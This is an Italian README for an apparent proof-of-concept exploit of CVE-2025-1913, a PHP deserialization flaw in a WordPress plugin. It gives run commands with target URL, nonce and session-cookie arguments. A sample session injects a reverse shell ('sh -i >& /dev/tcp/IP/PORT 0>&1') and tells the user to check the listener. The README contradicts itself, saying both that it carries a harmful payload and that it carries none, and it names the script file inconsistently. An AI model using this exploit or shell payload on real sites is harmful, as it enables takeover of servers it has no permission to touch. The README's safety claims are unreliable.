
Un PoC che dimostra CVE-2025-1913, mostrando come la gestione non sicura di unserialize del plugin possa portare a comportamenti ad alto impatto in ambienti controllati. Contiene un payload dannoso solo per test autorizzati. Da usare esclusivamente in laboratori isolati e per ricerca difensiva.
Questo repository contiene una Prova di Concetto (PoC) solo a scopo educativo
per CVE-2025-1913, creata da Suhaib518 🇸🇦.
Questa PoC dimostra come un input PHP serializzato appositamente creato possa attivare logiche vulnerabili in componenti WordPress interessati.
La PoC è sicura e non include payload dannosi.
⚠️ Avvertenza:
Questa PoC è solo per apprendimento, ricerca e test difensivi.
NON utilizzarla su server di cui non sei proprietario o per cui non hai esplicito permesso di test.
La vulnerabilità esiste a causa della gestione non sicura dei dati serializzati PHP in alcuni flussi di lavoro di plugin WordPress.
Questa PoC mostra come un attaccante potrebbe fornire strutture serializzate appositamente create che causano comportamenti interni indesiderati.
Questo repository include uno script Python che:
.
├── CVE-2025-1913-PoC.py # Lo script PoC creato da Suhaib518 KSA
└── README.md # Documentazione
Lo script utilizza solo moduli Python integrati tranne requests:
pip install requests
python3 exploit.py \
-c "Class" \
-H "https://target.com" \
--wp-nonce "1234567890" \
--cookie "wordpress_logged_in=YOUR_COOKIE_HERE"
Ti verrà chiesto:
Lo script quindi le serializzerà, costruirà una richiesta WordPress e la invierà.
Di seguito è riportato un comando di esempio che mostra l'utilizzo con valori di esempio (questi non sono malevoli, mostrano solo il processo):
python3 exploit.py -c "WP_User_Query" -H "https://example.com" --wp-nonce "89f1a2b3c4" --cookie "wordpress_logged_in_abc123=abcd1234efgh5678"
Esempi di risposte alle domande interattive:
[?] How many properties does this class have? 2
[?] Name of property #1: file
[?] Value for 'file': shell.sh
[?] Name of property #2: shell
[?] Value for 'shell': sh -i >& /dev/tcp/IP/PORT 0>&1
Lo script quindi stamperà:
[*] Sending request…
....Check the listener for the shell.
unserialize() su input non fidatiLicenza MIT.
Creato da Suhaib518 🇸🇦.